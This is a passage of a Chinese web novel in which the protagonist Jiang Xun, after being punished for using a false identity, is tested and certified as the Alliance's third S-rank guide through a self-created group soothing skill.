辛普森瞪大了眼睛惊讶地看向江寻，嘴角却不由自主地勾了起来。明秋脸上得意的笑容却瞬间僵住，眼中浮现出巨大的错愕与不甘。 他们都是在塔系统中工作的人员，谁不知道愈灵殿在塔中的超然地位？特别是中央星的愈灵殿总部！那里是联盟最顶尖的医疗与精神力研究机构，准入门槛极高，即使是最顶尖的学者也要争得头破血流才有机会在其中获得一席之地。 每年有多少圣所高级研修班中最优秀的学生，为了获得它的实习资格而挤破了头。若是能获得在愈灵殿中工作过的履历，那对于任何一位向导未来的发展都有极大的帮助。 现在，愈灵殿中的一位资深研究组组长，却亲自要求面前这个人去愈灵殿中进行劳动服务，这哪里是惩罚？简直就是天大的奖励！没有任何一个圣所学员会拒绝这样一个进修机会！ 所有人都想不通，这样一个隐藏了身份进入圣所，看起来只是比较优秀的年轻向导，是怎么与愈灵殿的实权研究组长搭上的关系。按他的说法，在几个月前，他甚至还在被人追捕，在中央星毫无根基。 王审查官再次翻看了一遍担保书，确认它的真实性与有效性后，终于做出了最终的裁定： “经查证，担保人符合条例规定。现宣布判决如下：夏因，因冒用他人身份信息，违反塔组织纪律，判处为期一年的公益性劳动服务惩罚。考虑到其圣所学员身份，每周最低劳动服务时限为二十小时。劳动服务地点为，愈灵殿研究组。判决生效期间，责任人应严格遵守塔及愈灵殿的相关规章制度，不得再次出现任何违法行为。此判决从宣布起立即生效！” 江寻的最终惩罚就这样被一锤定音。明秋面露不忿还想再说什么，却在王审查官看过来的一个毫无表情的眼神中闭上了嘴。 辛普森却是长舒了一口气，紧绷的肩膀彻底松弛了下来。他没想到，在他看来如此严重的违规事件，最后居然是这样一个完全可以称得上是奖励的结果。 正要恭喜江寻，却见对方转过头来看向自己：“辛普森主任，现在我的旧身份‘夏因’已经被撤销了，还要麻烦你帮我用真实身份重新进行一次向导登记。” 辛普森眼睛一亮，立刻反应了过来！ 对啊，虽然这位“夏因”向导当初是冒用的他人身份，可他的B级向导评定可是在自己眼前实打实地通过的，只是换一个名字而已，他依然还是一位前途无量的高级向导！ 想到这里，他连忙兴奋地上前一步，快速应声道：“当然可以！先生，请问您过去的潜力等级评估是在哪里做的？您的初登记地点又是哪个分部？我立刻调集数据为您重新登记！不过，因为您上一次的B级向导等级评定结果，也随旧身份一起被注销了，您可能需要重新进行一次等级评定。我立刻去申请圣所值班的认证导师前来评估大厅！” 江寻此时却摇了摇头：“我过去没有以自己的身份在塔系统中进行过任何登记，也没有进行过潜力等级测试。”他顿了顿，在辛普森略带讶异的目光中，接着说道，“不过，我觉得，圣所的值班认证导师可能无法为我完成评级。” 明秋本来已经因为这个完全不合他心意的惩罚结果，准备提前离开了，此时听到江寻的发言，还是忍不住回头，上下打量一下江寻这副年轻的面孔，嗤笑出声，语带嘲讽：“呵！你的口气倒是大，怎么？难道你还想说来自圣所的导师都不够资格给你评级？难道你还想申请晋升A级不成？” 江寻的这番话语，甚至吸引到了已经站起身来准备离开的审查官，一时之间，室内几人皆将目光集中在了他的身上。 却见江寻丝毫没有理会明秋的嘲讽，只是对着辛普森，清晰地说出了他的需求：“我要申请晋升的等级是——S级。” “嗯……？” “……什么？” 也许是这个答案太过离谱，一时之间，众人竟没有理解他的意思，只是面露疑惑地看着他，以为他说错了话。 只有一直面色严肃地看着江寻的审查官在愣神以后迅速反应了过来，猛地皱起眉头，带着些狐疑看向他。 久久，见江寻还是眼神平静地看着他们，众人这才缓缓反应了过来。 “S级？！” “这不可能！” 辛普森和明秋几乎同时惊呼了出来，此时，两人的表情是如出一辙的惊愕。 “你在做什么梦呢！”明秋眼神惊慌地游移，嘴唇颤抖着，口中说着刺耳的话语，却显得格外色厉内荏，“能登上S级宝座的大人物，哪一个不是经年努力，在所有人的注视下一步步爬上来的？哪一个不是背后有庞大的资源背景，不计后果地投资培养出来的？就凭你？一个连自己的身份都不敢承认的，不知道从哪里蹦出来的年轻人？！你哪来的自信？” 辛普森面上的表情也十分纠结，本能让他不相信这个结果，可心底却有不时冒出的侥幸念头不停撺掇着让他相信。真的可能吗？S级向导！整个联盟如今也只有两位而已。圣所里、愈灵殿里，无数年轻时惊才绝艳，照亮了整个时代的天才，都还在苦苦挣扎着想要踏上那个台阶而不得。就凭他这样一个名不见经传的年轻向导，能做到那么多大人物都做不到的事？！ 可是，万一……是真的呢？ 辛普森的呼吸急促起来，双眼一片狂热。 如果是真的，那么，从他手上就会诞生一位足以照耀整个联盟数十上百年的顶级向导！他会与一位尊贵的S级向导搭上关系！这是何等的殊荣？！ 王审查官的表情也在进门之后第一次震惊了起来，与联盟即将诞生一位新的S级向导相比，之前他所犯下的冒用他人身份的罪责，又算得了什么？！ “这位……阁下，”审查官咽了一口唾沫，选择了最保险的称呼，“您确定吗？您知道S级意味着什么吗？您说自己从没登记过，也从未测试过潜力等级，那您是怎么确定自己达到了S级的？” “我是通过实践确认的。”即使说着这样的话题，江寻的语气仍旧没有任何波动，整个调查室中，只有他一人的语气一如既往，“其实我怎么解释都无所谓不是吗？不如让我测试看看？反正就算我说得再有道理，最后也都要通过测评的，我们不如直接进行最后一步？” 辛普森强压下心中的惊涛骇浪，双目精光暴射，快速回答：“当然可以！这是我们评估大厅的职责！请您跟我来。” 现在，谁也无法阻止辛普森带着江寻去测试结果！他甚至已经顾不上先为江寻登记基础信息，就脚步快速地打开大门，引领着江寻与身后跟随着的几人一起来到了另一间专用测试间里。 一边走，辛普森一边有些语无伦次地介绍道：“这是我们评估大厅最先进的一体式精神力场共振测试仪了，对了，您上次来测试的时候用过的……您还记得要怎么使用吗？但它只是简易检测设备，其实是有检测上限的，听说上限就是S级向导的最低门槛……但是没人试验过，从它诞生起联盟就没出现过新的S级向导了……” 辛普森絮絮叨叨地说个不停，仿佛在缓解自己紧张的情绪，可此时，已经无人去关注他所说的话了。 江寻站在房间里，打量着靠墙矗立着的那个两米多高的半透明圆柱体设施，看着辛普森手忙脚乱地开启了仪器，在前面的控制面板上设置好测试项目。 便如他第一次前来这里的时候一般，江寻打开圆柱体上层的玻璃罩站了进去，在渐渐发亮的金属壁环绕下闭上眼睛，按照仪器中响起的提示音，深吸口气，心念微动，搅动体内的精神海。 平静而浩瀚的精神海，随着主人的命令泛起波澜，而后翻滚出波涛，最后化为汹涌澎湃的漩涡。 活跃而精纯的海量精神力，随着精神海的异动从海面上弥漫了出来，随即，跟随着主人的意志，从四肢百骸的经脉毛孔中狂涌而出，笼罩在江寻身周，瞬间填满了整个圆柱体空间！ 下一刻，圆柱体内部的光晕骤然明亮，宛如在内部冉冉升起了一轮太阳！ 嗡——！ 光晕瞬间突破了内部圆柱体的限制，在整个测试间中掀起一轮乳白色的海啸，将室内所有人全部淹没进去！—— 作者有话说：来啦！江江恢复身份第一弹！[加油] 第198章 测试间内众人刚看到仪器运行起来， 下一刻，便觉身上一沉，眼前一花， 视野瞬间被无边无际的乳白光芒完全笼罩！ 累累威压堂皇降临在每一寸空间里，众人只觉面前突然出现一股如山如海般沛然莫御的庞大力量，它只是存在于那里，便让空气仿佛都变得稀薄了起来。 可这股威压本身却毫无攻击性， 从众人身体中冲刷而过时， 不仅没有引起他们自身精神力的反抗， 反而让全身如同被暖泉拂过，身体中积存的些许疲惫与紊乱瞬间消散。连精神意识都仿佛从中汲取到了力量， 耳清目明，精神焕发。 一时之间，众人竟是恍然沉浸在了这种难得的体验中， 完全忘记了周遭的一切。 另一边， 在众人此时已经无暇顾及的仪器表面上，数块光屏开始疯狂闪烁起来。刚刚还停留在零点上的数据曲线，几乎呈一条直线在几秒钟内疯狂飙升， 转瞬封顶。 随即， 光屏上的读数化为一道刺目的红色直线， 一声又一声“滴滴滴”的过载警告音从室内响了起来。 在这急促的警报声中， 众人终于从那飘飘然的舒适感觉中回过了神来。 此时， 站在圆柱体内的江寻也在内部响个不停的电子警报音中， 慢慢停止了精神力输出。 随着江寻睁开眼睛， 乳白光芒失去了后援，缓缓平息下去，从空气中消失了影踪， 只余残留在众人体内的点点余韵，证明着它曾经存在过。 整个测试间中，只余那台号称最新款的测试仪还在疯狂鸣响着。 “啪！” 圆柱玻璃罩从内部被推开，江寻踏着阶梯走了下来。 辛普森一个激灵清醒了过来，面上浮起一个难以置信地兴奋笑容，快步走上前去查看。 只见原本应该显示出所有精神力基础数值的几个条目上，只有神经熵指数、精神力恢复速率等寥寥几个数据被显示了出来。最重要的几个项目，如基础精神强度、脉冲峰值等条目上，皆闪烁着鲜红色的“无法测量”字样！ 辛普森猛地转过身，看向身后同样一脸震惊，死死盯着光屏的审查官，呼吸急促，连声音都在极度的兴奋激动下，剧烈颤抖了起来：“审查、审查官阁下！仪器超出了测量范围，真的……真的是S级！” 闻听此言，王审查官“嗬哧”一声，从胸腔里吐出一口长气来，一双虎目骤然大睁，紧紧盯住面前站着的与刚才毫无二致的江寻，言语间，终于失去了往日的平静：“马上……马上向厅长阁下上报此事，按照你们评估大厅的正规流程，为这位……阁下，完成向导登记与……S级评级！” “是——！”辛普森大声应道，从审查官那里再次得到确定，令他彻底相信了这个好消息，脸庞都因激动涨得通红，“我马上为阁下上报，并启动特殊评级方案，申请愈灵殿的专业级精神力评估设备进行最终定级！” 而此刻，明秋的脸色已经彻底惨白下来，嘴唇哆嗦着，一股强烈的悔意骤然袭上心头。此刻他终于意识到，自己这嚣张的行为踢到了铁板。想到家族知道这件事后可能会对自己做出的处罚，冷汗簌簌从额头仓皇滑落。 辛普森正要打电话向厅长报告这个好消息，忽然又想起了什么，不好意思地转过身来看向江寻：“阁下，请问，您要登记的真实姓名是？” 江寻眼中掠过一丝恍惚，几分怀念，低声答道： “江寻，我叫江寻。” * 王审查官安稳地坐了下来，暗中观察着这位即将诞生的新任S级向导。 他今天原本只是抽时间过来处理一件普通事件，之后还有其他的行程安排。可此刻，他彻底打消了离开的念头。 这样的机会太难得了，他目光灼灼地盯着江寻，显然决定要留下亲眼见证这可能是历史性的一刻。 辛普森激动地在原地转圈，不时探头看向门外，等待着上司的到来——刚才，他已经用通讯器通过内部通道直接联系到了自己的顶头上司，登记评估厅的厅长。 本来只是想在请示之后马上为江寻阁下启动特殊评级方案，可厅长却在听说出现了疑似S级向导之后，匆匆回了一句“我马上到”便切断了通话。 现在，他们一行人，除了江寻自己之外，都在心急如焚地等待着这位厅长阁下的到来。 不过十几分钟，外间就传来一阵问好声。辛普森机灵地第一时间打开了大门，正迎上一位匆匆向测试间走来的中年男子。 这人一身高级官员制服，头发梳理得一丝不苟，好像是刚刚从另一个正式场合赶来的。一张脸上，洋溢着难以压抑的激动与急切。正是辛普森等人的顶头上司，时任向导登记与评估大厅厅长的罗恩阁下。 “人在哪里？仪器读数怎么样？”罗恩厅长一步跨入测试间便迫不及待地问道。 “厅长阁下！”辛普森立刻迎上前去，引着罗恩厅长去看那台光屏上仍然在闪烁着红光的测试仪。 罗恩厅长马上低下头，仔细查看了一番屏幕上最终定格的数据与鲜红的警告标识，“测试过程确定没问题吗？”一边问着，他一边亲自检查了一下仪器状态，确认仪器没有发生故障。 “绝对没有！刚才江寻阁下就是在我们面前测试的，由我亲自调试的仪器！”辛普森立刻答道。坐在旁边旁观的王审查官也点了点头，证实了他的话。 罗恩厅长听到二人肯定的答复，深吸一口气，再转向静立在旁的江寻时，脸上已堆起了热情而郑重的笑容，双手也握上了江寻的手。 “这位就是……江寻阁下吧？”罗恩厅长丝毫没有表现出对这个陌生姓名的诧异，只是在目光扫过江寻年轻的容貌时，稍稍停顿了一下。他对待江寻的态度异常亲切，“恭喜阁下！初步筛查的结果非常好，只可惜我们评估大厅的仪器过于基础，无法准确为您测试出具体的数据。” “不过，我们的仪器，能测出的基础精神强度上限是1000SU！这正是S级向导的基准线。能让我们的仪器过载，您的真实数据已经超出了这个基准线，达到了S级无疑。”罗恩的声音因为兴奋而提高了些许，“我已经向愈灵殿提交了专业级精神力评估设备使用申请，接下来，请允许我亲自陪同您前往愈灵殿，进行最终定级！” 他的语速很快，话落看了江寻一眼，试探性地问了一句：“您应该知道，按照规定，向导晋级评定除了基础的精神力数值要达到相应标准外，还需要进行相应等级的技能测试，您要进行S级向导定级的话，在这方面，应该有所准备吧？” 江寻明白对方的顾虑，干脆利落地回答让他安心：“是的，我已经准备好了。” 罗恩虽因为江寻的年纪心中有些许忐忑，但想到即使对方通不过技能测评，以他现在已经表现出的达到了S级标准的基础精神数值，未来踏上那个台阶也是早晚的事。 于是继续说道：“好的！根据规定，S级向导的技能认证，需要至少一位在籍S级向导或三位A级高级向导共同监测并确认。不过不巧，如今联盟登记在册的两位S级向导恰好都不在中央星。我将为您启动特殊流程，联络三位A级高级向导即刻赶往愈灵殿，为您进行最终定级。” 话落，罗恩就急切地要亲自引着江寻向大厅门口走去。 他会如此激动也情有可原，若是能在他的任期之内亲眼见证到一位新的S级向导诞生，并登记数据入库，这不仅能在他的履历上写下浓重的一笔，更是意味着，从此他便与这位未来的联盟顶尖人物结下了一份难得的香火情。这可是他前面的几任厅长都没有得到的绝好机会。 见罗恩这就急着要带人赶往愈灵殿了，王审查官转头对着身后的两名记录员吩咐了一声，令他们先回去将刚才的处理结果归档，自己也从容地站起身来，跟上了罗恩厅长的脚步。 他这一动，也让罗恩厅长想起了什么，回头看向一旁目光激动又有些局促失落的辛普森。 他当然认识辛普森，不过对于厅长而言，底下干活的副主任有很多个，他也不是每一个都熟悉。之前在他的印象里，此人也只是其中一个比较机灵，运气也不错的下属。 但想起之前在汇报中此人表现出的与这位新晋向导阁下的熟稔，不由心思一动，开口说道：“辛普森主任，这次多亏了你的发现与及时上报。既然你与江寻阁下相识，那这次难得的观摩机会，你就跟着我们一起去愈灵殿吧。” 辛普森闻言，面上骤然爆发出巨大的惊喜。立刻强压下心头的激动，挺直了腰板大声回道：“是！多谢厅长！” 话落便紧紧跟上了几人的脚步，心中狂喜不已。 押对宝了！ 这一次，他再次确信，江寻就是他命中的大贵人！经此一遭，他不仅与未来的S级向导有了些许交情，还在顶头上司面前露了脸，如今还要去往愈灵殿面见更多的大人物！辛普森瞥了一眼面如死灰地落在众人身后的明秋，再一次庆幸自己今天做出的决断选择。 就这样，在罗恩厅长的亲自引领下，江寻几人一路快速离开了评估大厅，乘上已经停放在大厅门外等候的专用悬浮车，向着愈灵殿方向风驰电掣而去。 * 一路疾驰，悬浮车很快平稳地停靠在了愈灵殿门口。 罗恩厅长引领着众人刚刚熟门熟路地走进愈灵殿的大门，便见向来泡在他的研究课题里，两耳不闻窗外事的尼克斯医师，居然已经主动迎了上来。 罗恩正受宠若惊地准备上前寒暄，却见这位塔内有名的科研大佬竟是直接越过了他，先与跟在他身旁的江寻打上了招呼： “来了？我就猜到你们得用我们这儿的设备。走走走，都给你调试好了，快跟我来。” 说着话，便已经不由分说地拽住了江寻的手腕，拉着人就往里面的测试中心走去。 眼见尼克斯就这么从自己眼前把人拖走，罗恩厅长还丈二和尚摸不着头脑，王审查官已经目露了然，上前一步，在罗恩耳边低声解释了一下两人之间的关系。罗恩厅长这才恍然明白过来，哭笑不得地摇了摇头，笑骂了一句，连忙带着几人跟上尼克斯的脚步。 作为专门研究精神力的机构，愈灵殿中的测试设备可与评估大厅中那种傻瓜一体式的简易设备截然不同。 测试中心被规划成一大片专业场地，其中布满了各种精密的电子设备，每种基础素质项目都有其专门的测试仪器与操作员。 这会儿，所有的操作员已经就位，正翘首等待着江寻的到来。而除了这些必要的工作人员之外，此时测试区周围还聚集了不少穿着白色大褂的研究员，个个目光灼灼地看向走近的尼克斯与江寻二人。 最近这段时间里，江寻一直在愈灵殿各研究组中帮忙，经过了一段时间的相处，大家已经熟悉了他的实力，基本都默认了他的S级向导身份。可是他的精神力真实数据到底如何，还是让这些顶尖的研究者们好奇到了极点。 今天听到尼克斯说江寻要来这里做具体的数值测试，便早早占了位置，等在这里，想要第一时间见证他的真实实力。此时一见江寻终于来了，立即兴奋地低声交谈起来，看过来的眼神中充满了独属于学者的纯粹探究与期待。 罗恩几人刚刚尾随着江寻二人赶来测试中心，便被眼前这熙熙攘攘的场面惊住了，罗恩更是在看到站在测试区中心的一位精神瞿烁的老者时浑身一震，双目骤然大睁——此人居然是已经极少露面的愈灵殿现任殿主，距离S级只差临门一脚的高级向导，索珠大人。 而此时，周围的研究员们，也没有理会罗恩等人，当先与江寻打起了招呼。 “呦，夏因，听说你之前的身份是假的？够胆大的啊！现在已经没事了吧？要不要我们给你帮帮忙？” “我就说他之前的身份一定有问题吧！” “这还用你说？他之前登记的最高潜力等级可是只到B级而已。” “好家伙，我好奇好久了，终于能知道这家伙到底强到什么程度了！” 这里几乎所有的研究员都拉江寻去他们的研究组里帮过忙，如今都表现得与他十分熟络。 这番情景，却是让罗恩几人更加惊讶了几分。 “这……他在愈灵殿中人缘这么好？”罗恩眼看着江寻一进来，周围那些平日里行色匆匆，一副高冷做派的研究员们纷纷与他言笑晏晏，连索珠大人都和蔼地靠近了过来，与他说了几句话，不禁在心中再次将江寻的地位提高了几分。 又见众人说着话，就急切地要拉江寻开始测试，罗恩也不在这个时候上前打扰，只是拣了个场边的位子坐下来，静静等待着全面测试的完成。 那边厢里，江寻已经在工作人员的指引下，躺进了场地中央一座连接了数个电缆管道的医疗舱中。这座医疗舱经过改造，能同时将使用者的信息发送到周围的各个设备里，对十数个重要参数进行精密测量。 在研究员们的热情推动下，一系列复杂而精密的测试随即展开。随着各个设备开始次第亮起，整个场地安静了下来，再无人低声议论，气氛恢复了科研机构所特有的冷静与专注。 没有夸张的视觉效果，只有工作人员翻飞的手指与测试仪器上飞速跳动的令人眼花缭乱的众多数据。 很快，各个基础测试仪器开始陆续输出测试结果，数小时后，一份详尽的初步精神检测报告便被摆在了众人面前。 尼克斯第一时间便将这份报告递交给了始终静立在旁等待着的索珠阁下。而其他研究员们，已经自行穿梭在各台仪器前，兴奋地看着屏幕上显示出来的数据，低声惊呼了起来。 “基础精神强度……1320SU！天，我就觉得他的精神力充沛得过分，果然！这数据，比明家主都要强了。” “脉冲峰值也很高，17000Gyra，精神力非常活跃。” “场域范围和精神力恢复速度倒是寻常……不过也达到S级的一般水准了。” “神经熵指数太优秀了，跌破0.5了，精神力很精纯，也非常稳定。怪不得能轻松压制住陆少将那种狂暴又携有剧毒的精神力呢！” “嘶！这个微操精度……37nm，太难得了，精神力总量这么高的情况下，很少见到操控精度还这么细致的。看来他的基本功非常扎实。” 周围的研究员们凑在各台机器面前，讨论得热火朝天。 尼克斯也在索珠快速翻阅着测试报告时，在旁总结道：“综合来看，他的精神力基础数值，只比玛格丽特阁下稍弱，但已经在各方面超过了现任明家那位家主的数据了。” “他还很年轻……”索珠一边翻看着报告单，一边少有地感慨出声。 “是啊，他还这么年轻！”尼克斯却是一脸兴奋与期待。 而在旁边听着研究员们热烈议论的罗恩厅长与王审查官等人，更是听得心潮澎湃。特别是辛普森，一脸的与有荣焉，脸上满是难以言喻的兴奋激动。 就在这时，测试中心入口处传来一阵动静。众人循声望去，便看到两位气质沉稳的学者在工作人员的引领下走了进来，一边走着，领头那人还笑呵呵地道着歉：“不好意思，刚才那会儿正在上课，我们没有来晚吧？” 熟悉的声音立即吸引到了江寻的注意。 转头一看，他先是一愣，随即明白过来。 来人正是他熟悉的圣所副所长艾略特教授与莉亚导师。看来他们便是罗恩厅长提到的，从圣所请来定级的高级向导了。 江寻也不迟疑，立即起身迎上前去，对着两位导师认真致礼。两人在看到江寻也在这里时，先是一怔，随后，便在周围研究员的讨论声中迅速明白了过来，脸上少见地露出了惊愕神色。 “夏因？”艾略特教授又是惊异又是迟疑，语气里带着确认的意思，“需要进行S级技能认证的人……是你？” 莉亚教授也满脸掩不住的惊讶，江寻虽平日里低调，可他每次的理论考试分数都很高，为人也谦虚谨慎，正是导师们很喜欢的那类学生。为他带过课的导师们就没有不喜欢他的。可她记得，这个孩子是个B级向导，最高潜力等级也只到B…… 江寻面对着两位圣所中熟悉的导师，歉意地微微躬身：“艾略特教授，莉亚导师，是我。其实我不是夏因，我的真名叫江寻，原来登记的向导等级也有不实之处……因为一些其他的原因，不得已在上一次登记时使用了假身份，很抱歉隐瞒了大家。” 艾略特教授与莉亚对视一眼，虽心有疑虑，但想到江寻平日里的表现，还是暂且压下了心中的怀疑。 此时，索珠殿主也已经看到了两人的到来，缓步迎了上来，与艾略特熟稔地打了个招呼，便心急地催促了起来：“好了好了，这些杂事，待会儿再说。既然人都到齐了，我们先来进行最后一个项目吧。” 闻言，整个测试中心骤然安静了下来，所有人隐含着期待的目光都聚焦在了江寻身上。 索珠作为主监测人，上前一步，环视一周，声音沉稳地宣布：“现在将要进行的是江寻阁下的S级精神技能认证。监测人是我，艾略特教授与莉亚教授三人。江寻阁下，请问，你准备好了吗？” 江寻深吸一口气越众而出，沉声道：“是的，我准备好了。” “很好。”索珠点了点头，继续说道：“根据流程，你需要成功运用出一个达到S级标准的向导技能。请确认，你将要演示的技能，是来自正规流程的S级技能库，还是……”说到这里，索珠深深看了江寻一眼，目光中，露出几分希冀，“你自行领悟创造出的新技能？” 江寻迎着索珠的目光，清晰地答道：“是自行创造的新技能。” 他这句话一出口，便如点燃了一个导火索，将场中的气氛霎时引爆。 第199章 江寻的话语一出口， 顿时令在场众人一片哗然。 此刻，即使是那些早已对他的实力有所预估的其他研究员们，也纷纷露出了震惊的表情。 一位年轻的研究员忍不住低声惊呼：“自创S级技能？这怎么可能！他才多大年纪？” “如果真的是自创技能， 那岂不是说，他现在就已经走上了寻道之路？”旁边的资深研究员咽了咽口水。 而实力更为接近S级，也更清楚其中意义的索珠、艾略特等人，更是深吸了一口气， 心绪翻涌。 索珠殿主的手指无意识地攥紧了些， 瞳孔不觉微微一缩。难道面前这个年轻人， 已经开始构建独属于自己的力量体系了？ 艾略特教授像是突然想起了什么，推了推眼镜， 镜片后的目光闪烁着复杂的光芒：“我想起来了，他确实曾经来询问过我S级之后的道路该怎么走，可也就那么一次而已……” 就连一向严肃寡言的莉亚导师此时也忍不住低声道：“他才入学不到一年……我记得他甚至都没有上过低级基础班……” 三人神情复杂地对视一眼。 原本他们以为， 江寻能这么年轻便踏上S级的台阶， 应该是自身有什么特殊的际遇，再加上通过一些其他渠道得到的某个S级技能传承。 可若是他已经成功研究出了S级自创技能，那其中的意义就完全不同了！ 这就意味着， 他不仅仅是力量等级达标， 更是已经踏上了那条独一无二的“寻道者”之路， 成功找到了自己的“道”！这在历代的S级向导中， 也是极少人才能达到的成就。而每一个走上自己“道路”的S级向导， 最终无一不是成为了对联盟贡献巨大， 能影响数代人的伟大人物！ 莉亚忍不住轻声说道：“如果他说的是真的， 那我们也许能从他身上，获得一些突破A级瓶颈的灵感。” 索珠也缓缓点头，目光始终没有离开场中的江寻。他坐在愈灵殿主的位置上已经四十多年了， 当年他也是意气风发、年轻有为、力压同时期所有天才向导的天之骄子。可自从实力到达A级巅峰之后，便再难有寸进。以他的年纪，若是再找不到希望，往后只会越来越难以突破。 索珠与艾略特、莉亚教授三人对视一眼，眼中同时浮现出动容。如果江寻所言属实，那么不仅向导学术界可能会在未来迎来一番翻天覆地的变革，同时，他的寻道之法也很可能会对他们这些徘徊在A级巅峰的向导产生深远的影响。 想到此处，三人的脸上纷纷掠过凝重之色，事关自身前途道路，这一次定级评估，在他们眼中的分量骤然变得极重。 索珠深吸一口气，再次说明道：“为了减少技能作用对象之间的个体差异，你可以在旁边的操作台上自行设置所需模拟对象的数量与状态特征。智脑系统会将相应的设置同步到实验用义体机器人身上，辅助你施展技能。准备好之后，就可以开始了。” 江寻点了点头，走到测试场中央，手指在操作台上快速移动着。他的心中早有打算，很快就在专用的模拟环境中，设置好了若干个模拟对象，毫不犹豫地按下了确认按钮。 下一刻，旁边的储藏舱门开启，数十个拳头大小的小机器人出现，每个机器人胸前的精神波释放口中，已经开始向外散发出狂暴而混乱的精神波动。 三位经验丰富的A级导师一眼便判断出了这些模拟对象的等级与状态——精神强度与B级哨兵相当，精神波相当混乱，模拟的是哨兵堕化失控之后的状态。这些都还算常规，只是，这些机器人的数量…… 几人对视一眼，心中隐隐有了些预感。 释放出这些模拟机器人后，江寻深吸一口气，缓缓闭上了眼睛。随即激活精神海中精纯的精神力，凝聚成数十道坚韧的精神力丝线，顺着指尖喷涌而出。 每一根丝线都像是拥有自己的生命一般，一出现在空气中，便摇摆着身体，毫不犹豫地深深探入了每一个机器人体内。 机器人没有自我意识，令江寻的这种“联系”构建起来更加轻松，转瞬间，数十道无形的“通道”便在他面前豁然洞开！ 已经成功使用过的技能，再次构建起相应的技能模型时已经简单了许多。只是如今面对的目标不是哨兵而是机器人，江寻心念一动，便将原本传导五感信号的模型稍作了一番修改，改为传输自身的意识命令。 最后一步，本应是稳定信号，按照作用对象不同的波频强度，调整每个接口输出的精神力强度，可全然一致的模拟机器人又让江寻省下了一些力气。 于是，围观众人只看到江寻指尖涌出的精神力丝线在连接上场中所有小机器人后，猛地一亮，下一刻，技能生效，所有机器人身上杂乱无章的紊乱波动，都被瞬间平复了下去。不仅如此，这些机器人还在一种莫名力量的指挥下，慢腾腾地汇聚在一起，缓缓站成了整整齐齐的方阵。 整个过程，前后不过半分钟，江寻甚至都没有显露出他强大的精神力储备，便轻轻松松地完成了技能。 “这是……群体安抚疏导技能？”一位旁观的研究员惊呼出声。 “真的是自创的新技能……这技能的作用不止是疏导啊，似乎还有控制？不过对于真正拥有自我意识的B级哨兵来说应该很难施展成功，这技能真的能在现实中实现吗？”另一位研究员喃喃自语，心中已经开始思考这个技能的作用原理。 “没错，群体技能最难的，就是如何处理技能运转过程中的差异化管理，这个技能要真正在现实中实现，应该还有一段路需要走……但是技能的开发方向是正确的，未来能达成的效果应该也不只是疏导与控制。技能的不完美也能证明，这确实是他自己研究出来的，应该还在开发过程中吧……”尼克斯能看到得更远一些，已经预见到了这个技能的难点与未来的几种发展方向。 正当一部分人，已经开始讨论起了江寻使用出的这个新技能的优点与不足时，却有另一部分消息更灵通的人，惊讶地瞪大了双眼。 “这个技能……我好像见过……”一个年轻的女研究员露出思索的表情。 “没错！我也见过！你们忘了吗？前阵子在黑街那边出过一次事，就有人用过这个技能！”另一位研究员也猛地反应了过来，一拍大腿蹦了起来。 “对了！是当初那个昙花一现的‘希先生’！”又一人惊讶地指着江寻，“那个‘希先生’就是他吗？！” 众人此时被提醒，纷纷想起了当初传得沸沸扬扬的那位神秘的S级向导，再与此时江寻使用出的技能一对比，立刻发现了两者之间的联系。 “那这么说来，这个技能早在几个月以前他就已经研究出来了……而且已经在现实中实现过了。‘希先生’……原来如此！”尼克斯喃喃自语，一切线索瞬间被串联了起来，真相大白。 索珠与艾略特等三位A级向导当然也听到了众人的议论。当初那位“希先生”横空出世时，他们也都听到过消息。可他就在大众面前出现过那么一次，之后便杳无音讯了。 许多势力派系都曾经派人去调查过这个人的踪迹，可所有的线索都好似被人从中截断，再也无法追查下去。他们一直都以为，这个人可能是某个隐秘的组织在暗地里培养起来的杀手锏，又或者这个消息是假的，只是被人故意传出来的一个烟雾弹。却没想到，对方居然一直就在离他们这么近的地方。 不过，现在可不是去讨论这些市井传闻的时候。三人迅速上前，检查仪器显示出来的这些模拟机器人此时的状态数据，并近距离观察感知了一番江寻释放出来的精神力丝线。最后，彼此交换了一个激动的眼神，都从对方的眼中看到了确认。 索珠殿主并艾略特副所长、莉亚导师三人转而面向众人，在渐渐安静下来的气氛中，声音洪亮地郑重宣布：“经我们三位A级向导联合测评，江寻阁下所演示的此项群体技能，方向新颖，效果显著，其作用范围与稳定性均远超A级极限，且此项技能实用价值极高，具有十分广阔的后续开发前景，确认其为一项全新、有效的S级技能。确认其创造者江寻，通过S级技能认证考核！” 他深吸一口气，与另外两位见证人一同在最终的认证文件上签下了自己的名字，然后，郑重地将文件交给了评估大厅厅长罗恩。 罗恩厅长容光焕发地看着手中的认证文件，随后，在众人灼灼的目光下，大声宣布：“在此，我以向导评估大厅厅长的名义宣布，我们联盟迎来了一位新的S级向导阁下！” 罗恩从怀中取出一个精致的丝绒展示盒，掀开盒盖，将其中放置的一枚金光闪闪的金钉盾徽展示在江寻面前，郑重说道：“江寻阁下，恭喜您成功通过S级向导考核，从今天开始，您便是联盟现存的第三位尊贵的S级向导阁下了！请您收好！这是属于您的向导等级徽章！” 江寻双手接过展示盒，拈起其中那枚小小的徽章，替换下自己领口的铜钉盾徽。 短暂的安静过后，一道掌声从旁观的人群中响起，而后，迅速席卷整个测试中心。所有人都不由自主地在这一刻爆发出了热烈的欢呼与惊叹。 从今日起，联盟第三位S级向导，于此诞生！ * 一切尘埃落定，围在测试中心外围的人群渐渐散去。 罗恩厅长与王审查官、辛普森也在向江寻再次道贺，并与他互换了联系方式之后，礼貌地告辞离开。 临走前，罗恩厅长还信誓旦旦地保证，会以最快的速度处理好江寻的身份变更事宜，并代他向塔内部申请属于S级向导的一应福利政策。 江寻闻言，也会意地向罗恩厅长特别表示了感谢，并约定好到时再去一次评估大厅办理后续的事宜。这才将几人好好送上了专用悬浮车。 然而，除了他们之外，圣所的艾略特教授与莉亚导师却在一阵小声讨论后，留了下来。 见江寻送走了罗恩等人，艾略特教授推了推他的单片镜，走到江寻面前，露出了一个和蔼的微笑：“江寻，如今你S级向导的身份已定，按照规定，你只要修够圣所规定的学分就能达到毕业标准，无需再上满四年课程了。对于你之后的学业安排，你自己是怎么想的？” “艾略特教授，”江寻先是尊敬地行了一礼，稍微思索了一下，才接着说道，“如今，虽然我的力量层次已经达到了S级标准，但我仍然觉得自己的基础不够牢固。以我现在的知识水平如果强行毕业的话，恐怕对我未来的长远发展并无好处。所以，我不打算中止学业，而是与以前一样，继续在圣所上课，直到学完所需的所有课程为止。” 